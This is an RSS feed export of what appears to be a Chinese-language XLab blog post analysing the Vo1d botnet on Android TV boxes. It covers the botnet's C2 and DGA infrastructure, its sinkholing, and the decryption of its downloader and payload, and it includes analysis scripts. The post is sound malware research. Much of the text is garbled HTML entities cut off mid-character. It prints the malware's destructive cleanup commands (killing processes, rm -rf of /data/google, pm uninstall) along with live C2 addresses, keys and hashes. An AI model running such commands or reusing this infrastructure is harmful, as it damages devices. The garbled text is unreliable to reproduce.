This XML file does not appear to have any style information associated with it. The document tree is shown below.


```
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
 xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
  <channel>
    <title>
      <![CDATA[ 奇安信 X 实验室 ]]>
    </title>
    <description>
      <![CDATA[ 奇安信 X 实验室 ]]>
    </description>
    <link>https://blog.xlab.qianxin.com/</link>
    <image>
      <url>https://blog.xlab.qianxin.com/favicon.png</url>
      <title>奇安信 X 实验室</title>
      <link>https://blog.xlab.qianxin.com/</link>
    </image>
    <generator>Ghost 5.70</generator>
    <lastBuildDate>Thu, 27 Feb 2025 06:17:35 GMT</lastBuildDate>
    <atom:link href="https://blog.xlab.qianxin.com/rss/" rel="self" type="application/rss+xml"/>
    <ttl>60</ttl>
    <item>
      <title>
        <![CDATA[ 风云再起：全球160万电视被Vo1d僵尸网络操控，潜在危害令人担忧 ]]>
      </title>
      <description>
        <![CDATA[ <h1 id="%E5%BC%95%E5%AD%90">&#x5F15;&#x5B50;</h1> <p>2025 &#x5E74; 2 &#x6708; 24 &#x65E5;&#xFF0C;<a
        href="https://www.nbcnews.com/politics/doge/fake-video-trump-kissing-musks-feet-displayed-hud-office-washington-rcna193503?
        ref=blog.xlab.qianxin.com">&#x7F8E;&#x56FD;&#x5168;&#x56FD;&#x5E7F;&#x64AD;&#x516C;&#x53F8;&#x65B0;&#x95FB;&#xFF08;NBC
        News&#xFF09;&#x62A5;&#x9053;&#x79F0;
        </a>&#xFF1A;&#x201C;&#x534E;&#x76DB;&#x987F;&#x7279;&#x533A;&#x7684;&#x7F8E;&#x56FD;&#x4F4F;&#x623F;&#x4E0E;&#x57CE;&#x5E02;&#x53D1;&#x5C55;&#x
        </p> ]]>
      </description>
      <link>https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/</link>
      <guid isPermaLink="false">676e7cc86bb47b000118fc9f</guid>
      <category>
        <![CDATA[ Botnet ]]>
      </category>
      <category>
        <![CDATA[ Android ]]>
      </category>
      <category>
        <![CDATA[ Backdoor ]]>
      </category>
      <category>
        <![CDATA[ DGA ]]>
      </category>
      <category>
        <![CDATA[ CN ]]>
      </category>
      <dc:creator>
        <![CDATA[ Alex.Turing ]]>
      </dc:creator>
      <pubDate>Wed, 26 Feb 2025 03:51:27 GMT</pubDate>
      <media:content url="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_15day-1.png" medium="image"/>
      <content:encoded>
        <![CDATA[ <h1 id="%E5%BC%95%E5%AD%90">&#x5F15;&#x5B50;</h1> <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_15day-1.png"
        alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x
        <p>2025 &#x5E74; 2 &#x6708; 24 &#x65E5;&#xFF0C;<a href="https://www.nbcnews.com/politics/doge/fake-video-trump-kissing-musks-feet-displayed-
        hud-office-washington-rcna193503?
        ref=blog.xlab.qianxin.com">&#x7F8E;&#x56FD;&#x5168;&#x56FD;&#x5E7F;&#x64AD;&#x516C;&#x53F8;&#x65B0;&#x95FB;&#xFF08;NBC
        News&#xFF09;&#x62A5;&#x9053;&#x79F0;
        </a>&#xFF1A;&#x201C;&#x534E;&#x76DB;&#x987F;&#x7279;&#x533A;&#x7684;&#x7F8E;&#x56FD;&#x4F4F;&#x623F;&#x4E0E;&#x57CE;&#x5E02;&#x53D1;&#x5C55;&#x
        AI
        &#x751F;&#x6210;&#x89C6;&#x9891;&#x3002;&#x89C6;&#x9891;&#x753B;&#x9762;&#x4E2D;&#xFF0C;&#x5510;&#x7EB3;&#x5FB7;&#xB7;&#x7279;&#x6717;&#x666E;&
        <code>LONG LIVE THE REAL
        KING</code>&#x7684;&#x9192;&#x76EE;&#x5B57;&#x5E55;&#x3002;&#x5DE5;&#x4F5C;&#x4EBA;&#x5458;&#x65E0;&#x6CD5;&#x5173;&#x95ED;&#x53EA;&#x80FD;&#x8
        <strong>&#x7535;&#x89C6;&#x3001;&#x673A;&#x9876;&#x76D2;&#x7B49;&#x8BBE;&#x5907;&#x88AB;&#x9ED1;&#x5BA2;&#x653B;&#x9677;&#x540E;&#x53EF;&#x80FD
        </strong>&#x3002;</p> <blockquote> <blockquote>
        <p>&quot;&#x5047;&#x5982;&#x60A8;&#x6B63;&#x5750;&#x5728;&#x6C99;&#x53D1;&#x4E0A;&#x770B;&#x7535;&#x89C6;&#xFF0C;&#x7A81;&#x7136;&#x5C4F;&#x5E5
        ----By&#x5947;&#x5B89;&#x4FE1;XLab</p> </blockquote> </blockquote> <h1
        id="%E8%83%8C%E6%99%AF%E4%BB%8B%E7%BB%8D">&#x80CC;&#x666F;&#x4ECB;&#x7ECD;</h1> <p>2024&#x5E74;11&#x6708;28&#x65E5;&#xFF0C;
        <code>XLab&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x77E5;&#x7CFB;&#x7EDF;</code>&#x76D1;&#x6D4B;&#x5230;IP&#x5730;&#x5740;
        <code>38.46.218.36</code>&#x6B63;&#x5728;&#x4F20;&#x64AD;&#x4E00;&#x4E2A;VT 0
        &#x68C0;&#x6D4B;&#xFF0C;&#x540D;&#x4E3A;jddx&#x7684;ELF&#x6587;&#x4EF6;&#xFF0C;AI&#x68C0;&#x6D4B;&#x6A21;&#x5757;&#x63D0;&#x793A;&#x8BE5;&#x658
        <a href="https://blog.xlab.qianxin.com/unveiling-the-mystery-of-bigpanzi/"><strong>Bigpanzi</strong>
        </a>&#x6084;&#x6084;&#x7684;&#x5F00;&#x5C55;&#x4E86;&#x65B0;&#x4E1A;&#x52A1;&#xFF1F;&#x5E26;&#x7740;&#x8FD9;&#x4E00;&#x7591;&#x95EE;&#xFF0C;&#x
        <a href="https://news.drweb.com/show/?i=14900&amp;lng=en&amp;ref=blog.xlab.qianxin.com"><strong>Vo1d</strong>
        </a>&#x7684;&#x65B0;&#x53D8;&#x79CD;&#x3002;&#x5B83;&#x672C;&#x8EAB;&#x662F;&#x4E00;&#x4E2A;&#x6B64;&#x524D;&#x4ECE;&#x672A;&#x88AB;&#x5B89;&#x
        </p>
        <p>&#x4ECE;&#x6211;&#x4EEC;&#x76EE;&#x524D;&#x638C;&#x63E1;&#x7684;&#x6570;&#x636E;&#x6765;&#x770B;&#xFF0C;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;
        <strong>&#x767E;&#x4E07;&#x7EA7;&#x522B;&#x50F5;&#x5C38;&#x7F51;&#x7EDC;
        </strong>&#x7684;&#x5A01;&#x529B;&#xFF0C;&#x6211;&#x4EEC;&#x6765;&#x770B;&#x770B;&#x73B0;&#x5B9E;&#x4E2D;&#x7684;&#x4F8B;&#x5B50;&#xFF1A;</p>
        <ul> <li> <p><strong>2024&#x5E74;Cloudflare&#x906D;&#x9047;&#x7684;&#x8D85;&#x7EA7;&#x653B;&#x51FB;
        </strong>&#xFF1A;&#x4E00;&#x6B21;DDoS&#x653B;&#x51FB;&#x8FBE;&#x5230;5.6
        Tbps&#x7684;&#x6050;&#x6016;&#x6D41;&#x91CF;&#xFF0C;&#x8DB3;&#x4EE5;&#x8BA9;&#x4EFB;&#x4F55;&#x7F51;&#x7AD9;&#x77AC;&#x95F4;&#x5D29;&#x6E83;&#x
        </p> </li> <li> <p><strong>2016&#x5E74;Mirai&#x7684;&#x707E;&#x96BE;
        </strong>&#xFF1A;Mirai&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x8BA9;&#x7F8E;&#x56FD;&#x4E1C;&#x6D77;&#x5CB8;&#x7684;&#x4E92;&#x8054;&#x7F51;&#x762B;&
        </p> </li> </ul>
        <p>Vo1d&#x76EE;&#x524D;&#x4E3B;&#x8981;&#x7528;&#x4E8E;&#x4E2A;&#x4EBA;&#x76C8;&#x5229;&#xFF0C;&#x4F46;&#x7531;&#x4E8E;&#x5176;&#x5BF9;&#x8BBE;
        <a href="https://blog.cloudflare.com/zh-cn/ddos-threat-report-for-2024-q4/?
        ref=blog.xlab.qianxin.com">DDoS&#x653B;&#x51FB;&#x8D8B;&#x52BF;&#x62A5;&#x544A;
        </a>&#x4E2D;&#x6307;&#x51FA;&#xFF0C;&#x5927;&#x91CF;Android&#x7535;&#x89C6;&#x548C;&#x673A;&#x9876;&#x76D2;&#x8BBE;&#x5907;&#x5DF2;&#x53C2;&#x4
        </p>
        <p>Vo1d&#x7684;&#x6F5C;&#x5728;&#x5371;&#x5BB3;&#x4E0D;&#x53EA;&#x662F;&#x5E38;&#x89C4;&#x7F51;&#x7EDC;&#x653B;&#x51FB;&#x8303;&#x7574;&#x3002;
        </p> <ul> <li> <p>2023&#x5E74;12&#x6708;11&#x65E5;&#xFF0C;
        <strong>&#x963F;&#x8054;&#x914B;&#x5C45;&#x6C11;&#x4F7F;&#x7528;&#x7684;&#x673A;&#x9876;&#x76D2;&#x906D;&#x5230;&#x7F51;&#x7EDC;&#x653B;&#x51FB
        </strong>&#xFF0C;&#x6B63;&#x5E38;&#x8282;&#x76EE;&#x88AB;&#x66FF;&#x6362;&#x4E3A;&#x663E;&#x793A;<a href="https://www.khaleejtimes.com/uae/uae-
        cyberattack-disrupts-tv-services-rattles-some-residents-with-graphic-content-from-gaza?
        ref=blog.xlab.qianxin.com">&#x5DF4;&#x4EE5;&#x51B2;&#x7A81;</a>&#x7684;&#x89C6;&#x9891;&#x3002;</p> </li> <li>
        <p>2025&#x5E74;2&#x6708;24&#x65E5;&#xFF0C;
        <strong>&#x7F8E;&#x56FD;&#x4F4F;&#x623F;&#x4E0E;&#x57CE;&#x5E02;&#x53D1;&#x5C55;&#x90E8;&#x5927;&#x697C;&#x7684;&#x7535;&#x89C6;&#x88AB;&#x5165
        </strong>&#xFF0C;&#x5E38;&#x89C4;&#x5185;&#x5BB9;&#x88AB;&#x66FF;&#x6362;&#x4E3A;<a href="https://www.nbcnews.com/politics/doge/fake-video-
        trump-kissing-musks-feet-displayed-hud-office-washington-rcna193503?
        ref=blog.xlab.qianxin.com">&#x7279;&#x6717;&#x666E;&#x4EB2;&#x543B;&#x9A6C;&#x65AF;&#x514B;&#x811A;&#x8DBE;</a>&#x7684;&#x89C6;&#x9891;&#x3002;
        </p> </li> </ul>
        <p>&#x8BD5;&#x60F3;&#xFF0C;&#x5982;&#x679C;&#x88AB;Vo1d&#x63A7;&#x5236;&#x7684;Android&#x7535;&#x89C6;&#x88AB;&#x7528;&#x4E8E;&#x4F20;&#x64AD;&
        </p>
        <p>&#x56DE;&#x5230;Vo1d&#x6837;&#x672C;&#x5206;&#x6790;&#xFF0C;&#x5BF9;&#x4E8E;&#x5B89;&#x5168;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x6765;&#x8BF4;
        </p>
```

</code>这种“租赁-
归队”的周期性机制，导致了Vo1d规模的在&#x
 <h2 id="4-xlab-codomain%E7%B3%BB%E7%BB%9F">4. XLab Codomain系统</h2>
258个DGA域名对于测量规模至关重要，我们&#x53C
XLab最新研发的Codomain系统直接观测捕获
，正是ࣙ俩个域名带来了中国被感染&#x768
 Codomain系统是一种基于DNS co-
occurrence技术的创新工具，能够监控和分析域&#x54

Codomain系统在我们整个分析溯源过程中发挥&#x4
 1: 无样本发现新资产
时间回到2024.12.05，当时已完成了对样本jddx的&#x520
C2
伴生域名的层层分析，我们发现了新的Downloa
   通过查询C2
ssl8rrs2的伴生域名，我们发现了域名wowokeys。该&#x57DF
ssl87362解析至同一个IP
38.46.218.36上，表明wowokeys同样是一个Downloader。
进一步查询wowokeys的伴生域名，我们发现域&#x5
works883.xyz一样，显得极为可疑。（works883这个词本&#x

最后，我们对works883.com的伴生域名展开调查，
DGA的构造模式。因此work883.com是一个此前未被发&

 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_moreinfra.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">   2: 无样本确认C2的身份
如前文C2基础设施章节所述，我们在works883.com&#x89E
3.132.75.97上发现了7个可疑域名，其中仅2个&
codomain进一步确认为C2。例如，
snakeers.com的伴生域名明显符合Vo1d
DGA模式，为其C2身份提供了更为确凿的证据&#

 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_verifyc2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> 3: 无样本发现新DGA域名
2024年12月8日，我们通过DGA C2 SINKHOLE当日监测到135万Bot
IP，分布全世界，但中国的感染量却异常&#x76

12月15日，我们在分析works883.com的伴生域名时发&#x7
{mask}2940637fafa生成。Vo1d的DGA算法支持net、
com、top三种顶级域
(TLD)，三者地位平等。在抢注Vo1d DGA
C2时，我们通常选择top
TLD，毕竟价格更实惠。因此我们抢注了下&#x5
top版本
。遗憾的是，该域名并没有带来感染&#x91C
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_observe.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
时间来到2025年1月6日，彼时我们已在样本&#x4E2
{mask}2940637fafa并不在其中。
难道这个特别的种子属于某个过期的&#x6837
。1月18日晚，我们在梳理数据时才发现&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_dgadns.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
我们一边“给自己几拳”，一边火速补&#x6
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_victimcn.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
{mask}2940637fafa这个未知的DGA种子产生的域名有如此&#x
我们虽然没有捕获这个样本，但在codomain&#x7684
。 <h1 id="%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90">技术分析</h1>
在我们捕获的89个样本中s63非常适合做为&#x6280
ts01是一个压缩包，包括了多个与核心C2 IP
3.146.93.253通信的组件。下文将从s63入手，分析Download
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_ts01.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h2 id="part1-downloader-s63%E5%88%86%E6%9E%90">Part1: Downloader s63分析</h2>
s63的基本信息如下所示，可以看出它是动&#
 <pre><code>MD5: 9e116f9ad2ff072f02aa2ebd671582a5 Magic: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked,
BuildID[sha1]=70672a8ccee11976077ff4f3dc16966bbf67e965, stripped </code></pre>
概括来说，首先它会解密出敏感的配置&#x4
 <h3 id="1-%E8%A7%A3%E5%AF%86%E9%85%8D%E7%BD%AE%E4%BF%A1%E6%81%AF">1. 解密配置信息</h3>
Downloader的配置信息储存在data段，当需要使用&#x65F
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_decstring.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
对decstring函数进行细致的分析之后，发现密&#x
+
body俩部分组成，其中header的长度是3个字节，&#x5
<a href="https://blog.xlab.qianxin.com/unveiling-the-mystery-of-
bigpanzi/">2024年1月披露的Bigpanzi字串解密函数一模一&#x6837
。 <pre><code>def decbuf(buf): leng=buf[0]^buf[1]^buf[2] out='' for i in range(3,leng+3): tmp=((buf[i]^buf[1])-
buf[1])&0xff out+=chr((tmp^buf[0])) return out </code></pre>
以下为解密后的配置信息，其中最重要&#x7
<code>%[^:]:%[^:]:%d</code>格式化字符串对
<code>38.46.218.36:ts01:9999</code>提取获得下载服务器的
38.46.218.36:9999以及Payload文件名ts01。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_config.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:80%;"> <h3 id="2-%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1">2. 网络通信</h3>
vo1d此次投入使用的Downloader都支持0x10，0x11俩个指&#x4EE
<code>length:cmd:body</code>，其中lengh字段长度为4个字节，用&#x4E
-1。实际产生的网络流量如下所示，可以&#x77
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_network.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h3 id="3-%E8%A7%A3%E5%AF%86%E7%BD%91%E7%BB%9C%E6%B5%81%E9%87%8F">3. 解密网络流量</h3>
首先来看0x10指令的响应报文
，根据length:cmd:body的格式可知body的密文为<code>2d 5e 64 ca
3d bc c3 34 39 9f f3 27 d8 2d e8 d3 81 d0 6f 7d b7 f3 c7
49</code>，解密算法为xxtea，秘钥为配置信息中的
<code>b6d5c945d61a73641e710f357214f3e3</code>。
值得注意的是xxtea的秘钥长度固定为16字节，
<code>b6d5c945d61a7364</code>。Drweb的分析文章关于xxtea秘钥相关的
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/void_lsrtea.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:80%;">
使用CyberChef对body密文解密，可以看出冗余下&#x8F7D
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_chef.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
接着看一下0x11号指令请求ts01的响应报文

，根据上述报文格式，可知body的长度为0x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/void_payloadformat.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> 样本中硬编码了<code>N(模数)-
E(公钥指数)格式</code>的RSA公钥
，N值256字节（小端）如下图所示，E值为&
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rsane.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:70%;">
拥有上述知识背景之后，可以简单的使&#x7
<code>041db10bf25d4722</code>。 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rsadec.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
许多心急的安全研究员看到这里，可能&#x5
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_xxtea.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 45%;"> <h3 id="4-%E7%8B%AC%E7%89%B9%E7%9A%84asrxxtea%E7%AE%97%E6%B3%95">4. 独特的asr_xxtea算法</h3>
尽管可以通过模拟或动态dump的方式获取解
<code>算术右移（asr） </code>替代了标准XXTEA算法中的
<code>逻辑右移（lsr）
</code>。我们将此魔改算法命名为
asr_xxtea，并在Vo1d的各种组件都中发现了它&
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/v01d_vs.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 50%;"> 因此想要正确解密，
需要将标准xxtea算法中对密文的lsr运算替&#x6362
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_patch.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h2 id="part2-payload-ts01%E5%88%86%E6%9E%90">Part2: Payload ts01分析</h2>
解密出的ts01是一个压缩包文件，它包含cv&#xFF0
web披露的版本重合，为了行文简洁，下文&#x5
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_tsdec.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 80%;"> <h3 id="1-installsh">1. install.sh</h3>
install.sh比较简单，主要功能只有一个：启动cv
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_install.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;"> <h3 id="2-cv%E7%BB%84%E4%BB%B6">2. cv组件</h3>
cv组件的功能比较直观，主要有以下4大功&
  清除旧版本vo1d组件 启动vo1d组件
安装启动x.apk 上报设备状态
在开始分析具体的功能之前，我们先看&#x4
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_cv_dec.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
一般来说，面对类似这种加密项较多的&#x6
 <pre><code>import flare_emu addr_list=[] def decbuf(buf): leng=buf[0]^buf[1]^buf[2] out='' for i in range(3,leng+3): tmp=
((buf[i]^buf[1])-buf[1])&0xff out+=chr((tmp^buf[0])) return out def iterateHook(eh, address, argv, userData): addr=argv[0]
header=ida_bytes.get_bytes(addr,3) leng=header[0]^header[1]^header[2] if leng<=255: buf=ida_bytes.get_bytes(addr,leng+3) out=decbuf(buf) if
addr not in addr_list: addr_list.append(addr) print(f'0x{argv[0]:x} ---> {out}') ida_bytes.patch_bytes(addr,b'\x00'*
(leng+3)) ida_bytes.patch_bytes(addr,out.encode()) idc.create_strlit(addr,addr+leng) eh=flare_emu.EmuHelper()
eh.iterate(eh.analysisHelper.getNameAddr("decstring"), iterateHook) </code></pre>
解密前后data段前100字节的对比如下所示：
<img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_compare.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 40%;"> <h4 id="1-%E6%B8%85%E9%99%A4%E6%97%A7%E7%89%88%E6%9C%ACvo1d%E7%BB%84%E4%BB%B6">1.
清除旧版本vo1d组件</h4>
通过以下代码片段请理旧版本的vo1d组件
<img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_remove.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 67%;">
被清理的对象包括进程，文件&目录，&#x4EE5
  kill process <pre><code>/data/google/daemon /data/google/rild /system/xbin/wd /data/system/installd </code></pre>
rm -rf <pre><code>/data/google /data/data/com.goog1e.apps </code></pre>   pm uninstall <pre>
<code>com.google.android.services </code></pre>   <h4 id="2-%E5%90%AF%E5%8A%A8vo1d%E7%BB%84%E4%BB%B6">2.
启动vo1d组件</h4>
判断当前vo1d组件的MD5是否为a4df8a0484e04fe660563b69c93c7f14，若&#x97
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_d2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
请求下载d2的过程同样使用0x10,0x11号指令，只&
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_getd2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h4 id="3-%E5%90%AF%E5%8A%A8-xapk">3. 启动 x.apk</h4>
通过以下代码片段安装x.apk，并启动其MainActivity&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_xapk.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h4 id="4-%E4%B8%8A%E6%8A%A5%E8%AE%BE%E5%A4%87%E7%8A%B6%E6%80%81">4. 上报设备状态</h4>
通过下以代码片段构造JSON格式的设备状态
<code>catmore88.com</code>。 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_report.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h3 id="3-vo1d%E7%BB%84%E4%BB%B6">3. vo1d组件</h3>
vo1d内嵌了一个asr_xxtea加密的payload，它的主要功能
<code>fPNH830ES23QOPIM*&S955(2WR@L*&GF</code>，当然实际有效的秘钥为&#
fPNH830ES23QOPIM。解密代码有明显的模式，会&#x63D
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_pattern.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
此处我们想向读者介绍一种使用flare_emu进行&#x
 <pre><code>import time import idautils import idc import ida_bytes import flare_emu def extract_payload(xxtea_call: int, input_addr: int,
length: int, key: bytes = b'fPNH830ES23QOPIM') -> None: start_time = time.time() eh = flare_emu.EmuHelper() eh.apiHooks.update({
'__aeabi_memclr': eh.apiHooks['memset'], '__aeabi_memcpy': eh.apiHooks['memcpy'] }) out_buf =
eh.allocEmuMem(length) in_buf = ida_bytes.get_bytes(input_addr, length) eh.emulateRange(startAddr=xxtea_call, registers={'R0':
in_buf, 'R1': out_buf, 'R2': length, 'R3': key}, skipCalls=False) decrypted_data = eh.getEmuBytes(out_buf,
length) output_filename = f"{idc.get_root_filename()}.decrypt" with open(output_filename, "wb") as output_file:
output_file.write(decrypted_data) print(eh.getEmuState()) print(f"Time taken: {time.time() - start_time:.2f} seconds") xxtea_addr =
0x94FC input_addr = 0x0001B124 length = 0xA004 extract_payload(xxtea_addr, input_addr, length) </code></pre>
相较于直接使用asr_xxtea，使用脚本模拟解密&#x
 <pre><code>MD5: 68ec86a761233798142a6f483995f7e9 Magic: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked
</code></pre> 该后门实际上是Dr.Web披露的
Android.Vo1d5的升级版本，核心功能保持不变&
Redirector C2。Redirector
C2的作用是向Bot提供真实的C2服务器地址，通
C2和由DGA生成的大量域名，构建了一个庞大&#

同样payload的敏感字串也都被加密，以下为&#x90
c2，dga种子和dga使用的tlds。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_example.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h4 id="1-redirector-c2%E7%BD%91%E7%BB%9C%E9%80%9A%E4%BF%A1">1. redirector c2网络通信</h4>
Bot获取真实C2的过程较为简单：首先与
Redirector C2

<code>pxleo5fbca7141b5.com</code>建立通信，发送固定的4字节上&#x7E
<code>DD CC BB
AA</code>，随后接收来自C2的256字节加密报文，并&
Okay开头，则表明其中包含真实的1个或&
<code>\n</code>为分隔符提取真实地址。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_getrealc2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> 以实际捕获的流量为例： <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_redbeacon.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 67%;"> Redirector
C2回应的报文解密如下所示，可知真实的C2&#x
52.14.24.94:81。 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_decreal.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:70%;">
随后，Bot会将设备状态信息上报给真实的C
E(公钥指数)格式的RSA公钥，其中N值（小端）
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rsane2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:70%;">
Bot与真实C2通信的网络报文格式为”length（4
bytes） +
RSA密文“，基于RSA的特性，我们只能解密C2&#x54CD
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_decc2.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
通过DGA生成的域名请求真实C2的过程与上&#x8FF0
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_getrealref.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h4 id="2-dga">2. DGA</h4> 在此次更新中，
Vo1d僵尸网络
仅将DGA种子数量从旧版本的4个增加到了32
<code>xyz</code>、<code>top</code>、<code>com</code> 和 <code>net</code>，但 <code>xyz</code>
并未实际投入使用。此外，不同样本使&#x7528
8组，共计256个DGA种子
，其中单个种子生成的域名数量为
220 或 500
个，因此1组DGA生成的域名总数为21120 或
48000。 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_dga.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:50%;"> Vo1d僵尸网络
的DGA算法仅使用种子的前5字节参与计算&#
<code>edd3b49c6ed34236</code>为例，通过分析Pcap中的DNS请求可以&#x
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_seedexample.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom: 50%;"> <h3 id="4-xapk%E7%BB%84%E4%BB%B6">4. x.apk组件</h3> x.apk 的包名为
<code>com.google.android.gms.stable</code>，显然它试图伪装成 Google Play
服务（Google Play
Services），以迷惑用户。该应用通过监听
<code>BOOT_COMPLETED</code>
事件实现持久化，确保在设备重启后仍&#x80FD
<code>excludeFromRecents="true"</code> 和 <code>theme="@style/onePixelActivity"
</code>，它能够隐藏了自身的运行痕迹，进一
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_apk_manifest.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> x.apk 的主要目的是加载 <code>liblogs.so</code>
文件，并将 <code>asset</code> 目录中的 <code>test</code>
文件复制为 <code>/data/system/startup</code>
，随后启动并执行该文件。 <img
src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_apk_func.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
style="zoom:67%;"> <h4 id="1-test-liblogs">1. test & liblogs</h4>
test，liblogs俩个文件和前文发析过的vo1d组件的&#x52
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_test_logs.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
在payload的分析中，我们发现test，liblogs的核心逻&#
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_test_logs_payload.png"
alt="风云再起：全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> 它们只是在<code>硬编码的 Redirector
C2，端口，DGA
种子以及和真实C2通信的网络协议
</code>方面存在差异。 test payload使用的 C2 地址为
ttekf42.com:55500。 liblogs payload 使用的 C2 地址为
tumune3.com:55501。
进一步分析发现，上述C2对应的核心 IP
3.146.93.253
的多个端口（55500、55501、55502、55503、55600）分别分&#x914
5不同的域名使用，通过多个端口和域名&#x520

 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_port.png"
